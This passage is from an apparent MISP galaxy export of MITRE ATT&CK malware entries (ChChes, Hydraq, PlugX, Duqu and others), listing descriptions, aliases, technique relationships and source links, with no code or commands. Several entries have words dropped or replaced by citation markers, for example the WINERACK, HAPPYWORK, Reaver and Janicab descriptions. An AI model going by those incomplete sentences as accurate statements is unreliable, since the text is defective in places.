- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 2157. Table References

Links
https://attack.mitre.org/wiki/Software/S0188
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

ChChes - S0144

ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)

Aliases: ChChes, Scorpion, HAYMAKER

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ChChes - S0144"*

ChChes - S0144 is also known as:

- ChChes
- Scorpion
- HAYMAKER

ChChes - S0144 has relationships with:

- similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2158. Table References

Links
https://attack.mitre.org/wiki/Software/S0144
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
http://blog.jpcert.or.jp/2017/02/chches-malware—93d6.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

Hacking Team UEFI Rootkit - S0047

Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)

Aliases: Hacking Team UEFI Rootkit

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Hacking Team UEFI Rootkit - S0047"*

Hacking Team UEFI Rootkit - S0047 is also known as:

- Hacking Team UEFI Rootkit

Hacking Team UEFI Rootkit - S0047 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2159. Table References

Links
https://attack.mitre.org/wiki/Software/S0047
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/

Hydraq - S0203

Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)

Aliases: Hydraq, Aurora, 9002 RAT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Hydraq - S0203"*

Hydraq - S0203 is also known as:

- Hydraq
- Aurora
- 9002 RAT

Hydraq - S0203 has relationships with:

- similar: misp-galaxy:tool="Aurora" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="9002 RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Aurora" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 2160. Table References

Links
https://attack.mitre.org/wiki/Software/S0203
https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/connect/blogs/trojanhydraq-incident
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf

https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

httpclient - S0068

httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)

Aliases: httpclient

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="httpclient - S0068"*

httpclient - S0068 is also known as:

- httpclient

httpclient - S0068 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2161. Table References

Links
https://attack.mitre.org/wiki/Software/S0068
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Downdelph - S0134

Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)

Aliases: Downdelph, Delphacy

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Downdelph - S0134"*

Downdelph - S0134 is also known as:

- Downdelph
- Delphacy

Downdelph - S0134 has relationships with:

- similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2162. Table References

Links
https://attack.mitre.org/wiki/Software/S0134
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

CCBkdr - S0222

CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)

Aliases: CCBkdr

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CCBkdr - S0222"*

CCBkdr - S0222 is also known as:

- CCBkdr

CCBkdr - S0222 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Table 2163. Table References

Links
https://attack.mitre.org/wiki/Software/S0222
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/

StreamEx - S0142

StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)

Aliases: StreamEx

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="StreamEx - S0142"*

StreamEx - S0142 is also known as:

- StreamEx

StreamEx - S0142 has relationships with:

- similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"

Table 2164. Table References

Links
https://attack.mitre.org/wiki/Software/S0142
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

Psylo - S0078

Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)

Aliases: Psylo

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Psylo - S0078"*

Psylo - S0078 is also known as:

- Psylo

Psylo - S0078 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2165. Table References

Links
https://attack.mitre.org/wiki/Software/S0078
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

HDoor - S0061

HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)

Aliases: HDoor, Custom HDoor

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HDoor - S0061"*

HDoor - S0061 is also known as:

- HDoor
- Custom HDoor

HDoor - S0061 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 2166. Table References

Links
https://attack.mitre.org/wiki/Software/S0061
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Smoke Loader - S0226

Smoke Loader is a bot that has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. (Citation: Malwarebytes SmokeLoader 2016)

Aliases: Smoke Loader, Dofoil

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Smoke Loader - S0226"*

Smoke Loader - S0226 is also known as:

- Smoke Loader
- Dofoil

Smoke Loader - S0226 has relationships with:

- similar: misp-galaxy:tool="Smoke Loader" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="SmokeLoader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Table 2167. Table References

Links
https://attack.mitre.org/wiki/Software/S0226
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/

Janicab - S0163

```
(Citation: Janicab) is an OS X trojan that relied on a valid developer ID and
oblivious users to install it. (Citation: Janicab)
```

Aliases: (Citation: Janicab)

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Janicab - S0163"*

Janicab - S0163 is also known as:

- Janicab

Janicab - S0163 has relationships with:

- similar: misp-galaxy:tool="Janicab" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"

Table 2168. Table References

Links
https://attack.mitre.org/wiki/Software/S0163
http://www.thesafemac.com/new-signed-malware-called-janicab/

WINERACK - S0219

is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)

Aliases: WINERACK

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="WINERACK - S0219"*

WINERACK - S0219 is also known as:

- WINERACK

WINERACK - S0219 has relationships with:

- similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 2169. Table References

Links
https://attack.mitre.org/wiki/Software/S0219
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

WINDSHIELD - S0155

WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)

Aliases: WINDSHIELD

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="WINDSHIELD - S0155"*

WINDSHIELD - S0155 is also known as:

- WINDSHIELD

WINDSHIELD - S0155 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2170. Table References

Links
https://attack.mitre.org/wiki/Software/S0155
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

TinyZBot - S0004

TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)

Aliases: TinyZBot

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="TinyZBot - S0004"*

TinyZBot - S0004 is also known as:

- TinyZBot

TinyZBot - S0004 has relationships with:

- similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"

Table 2171. Table References

Links
https://attack.mitre.org/wiki/Software/S0004
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf

BACKSPACE - S0031

BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)

Aliases: BACKSPACE, Lecna

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BACKSPACE - S0031"*

BACKSPACE - S0031 is also known as:

- BACKSPACE
- Lecna

BACKSPACE - S0031 has relationships with:

- similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Table 2172. Table References

Links
https://attack.mitre.org/wiki/Software/S0031
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

ZeroT - S0230

ZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)

Aliases: ZeroT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ZeroT - S0230"*

ZeroT - S0230 is also known as:

- ZeroT

ZeroT - S0230 has relationships with:

- similar: misp-galaxy:tool="ZeroT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2173. Table References

Links
https://attack.mitre.org/wiki/Software/S0230

https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

PinchDuke - S0048

PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)

Aliases: PinchDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PinchDuke - S0048"*

PinchDuke - S0048 is also known as:

- PinchDuke

PinchDuke - S0048 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 2174. Table References

Links
https://attack.mitre.org/wiki/Software/S0048
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

CloudDuke - S0054

CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)

Aliases: CloudDuke, MiniDionis, CloudLook

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CloudDuke - S0054"*

CloudDuke - S0054 is also known as:

- CloudDuke
- MiniDionis
- CloudLook

CloudDuke - S0054 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 2175. Table References

Links

https://attack.mitre.org/wiki/Software/S0054
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf
https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/

RedLeaves - S0153

RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)

Aliases: RedLeaves, BUGJUICE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RedLeaves - S0153"*

RedLeaves - S0153 is also known as:

- RedLeaves
- BUGJUICE

RedLeaves - S0153 has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 2176. Table References

Links
https://attack.mitre.org/wiki/Software/S0153
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html

WinMM - S0059

WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)

Aliases: WinMM

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="WinMM - S0059"*

WinMM - S0059 is also known as:

- WinMM

WinMM - S0059 has relationships with:

- similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2177. Table References

Links
https://attack.mitre.org/wiki/Software/S0059
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

MobileOrder - S0079

MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)

Aliases: MobileOrder

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="MobileOrder - S0079"*

MobileOrder - S0079 is also known as:

- MobileOrder

MobileOrder - S0079 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2178. Table References

Links
https://attack.mitre.org/wiki/Software/S0079
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Sys10 - S0060

Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)

Aliases: Sys10

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Sys10 - S0060"*

Sys10 - S0060 is also known as:

- Sys10

Sys10 - S0060 has relationships with:

- similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2179. Table References

Links
https://attack.mitre.org/wiki/Software/S0060
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Duqu - S0038

Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)

Aliases: Duqu

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Duqu - S0038"*

Duqu - S0038 is also known as:

- Duqu

Duqu - S0038 has relationships with:

- similar: misp-galaxy:tool="Duqu" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"

Table 2180. Table References

Links
https://attack.mitre.org/wiki/Software/S0038
https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf

HAPPYWORK - S0214

is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)

Aliases: HAPPYWORK

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HAPPYWORK - S0214"*

HAPPYWORK - S0214 is also known as:

- HAPPYWORK

HAPPYWORK - S0214 has relationships with:

- similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 2181. Table References

Links
https://attack.mitre.org/wiki/Software/S0214
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

FakeM - S0076

FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)

Aliases: FakeM

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="FakeM - S0076"*

FakeM - S0076 is also known as:

- FakeM

FakeM - S0076 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2182. Table References

Links
https://attack.mitre.org/wiki/Software/S0076
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

SHIPSHAPE - S0028

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

Aliases: SHIPSHAPE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SHIPSHAPE - S0028"*

SHIPSHAPE - S0028 is also known as:

- SHIPSHAPE

SHIPSHAPE - S0028 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 2183. Table References

Links
https://attack.mitre.org/wiki/Software/S0028
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

T9000 - S0098

T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)

Aliases: T9000

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="T9000 - S0098"*

T9000 - S0098 is also known as:

- T9000

T9000 - S0098 has relationships with:

- similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

Table 2184. Table References

Links
https://attack.mitre.org/wiki/Software/S0098
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

EvilGrab - S0152

EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation:

PWC Cloud Hopper Technical Annex April 2017)

Aliases: EvilGrab

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="EvilGrab - S0152"*

EvilGrab - S0152 is also known as:

- EvilGrab

EvilGrab - S0152 has relationships with:

- similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2185. Table References

Links
https://attack.mitre.org/wiki/Software/S0152
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

BS2005 - S0014

BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)

Aliases: BS2005

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BS2005 - S0014"*

BS2005 - S0014 is also known as:

- BS2005

BS2005 - S0014 has relationships with:

- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 2186. Table References

Links
https://attack.mitre.org/wiki/Software/S0014

https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

WEBC2 - S0109

WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)

Aliases: WEBC2

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="WEBC2 - S0109"*

WEBC2 - S0109 is also known as:

- WEBC2

WEBC2 - S0109 has relationships with:

- similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"

Table 2187. Table References

Links
https://attack.mitre.org/wiki/Software/S0109
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip

PlugX - S0013

PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)

Aliases: PlugX, Sogu, Kaba, Korplug

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013"*

PlugX - S0013 is also known as:

- PlugX
- Sogu
- Kaba
- Korplug

PlugX - S0013 has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 2188. Table References

Links
https://attack.mitre.org/wiki/Software/S0013
http://labs.lastline.com/an-analysis-of-plugx
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/

Reaver - S0172

Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of . (Citation: Palo Alto Reaver Nov 2017)

Aliases: Reaver

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Reaver - S0172"*

Reaver - S0172 is also known as:

- Reaver

Reaver - S0172 has relationships with:

- similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2189. Table References

Links
https://attack.mitre.org/wiki/Software/S0172
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

Misdat - S0083

Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)

Aliases: Misdat

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Misdat - S0083"*

Misdat - S0083 is also known as:

- Misdat

Misdat - S0083 has relationships with:

- similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2190. Table References

Links
https://attack.mitre.org/wiki/Software/S0083
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf

Komplex - S0162

Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).

Aliases: Komplex

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162"*

Komplex - S0162 is also known as:

- Komplex

Komplex - S0162 has relationships with:

- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2191. Table References

Links
https://attack.mitre.org/wiki/Software/S0162
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Taidoor - S0011

Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)

Aliases: Taidoor

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Taidoor - S0011"*

Taidoor - S0011 is also known as:

- Taidoor

Taidoor - S0011 has relationships with:

- similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2192. Table References

Links
https://attack.mitre.org/wiki/Software/S0011
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf

MoonWind - S0149

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)

Aliases: MoonWind

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="MoonWind - S0149"*

MoonWind - S0149 is also known as:

- MoonWind

MoonWind - S0149 has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2193. Table References

Links
https://attack.mitre.org/wiki/Software/S0149
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Crimson - S0115

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)

Aliases: Crimson, MSIL/Crimson

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Crimson - S0115"*

Crimson - S0115 is also known as:

- Crimson
- MSIL/Crimson

Crimson - S0115 has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson" with estimative-language:likelihood-probability="likely"
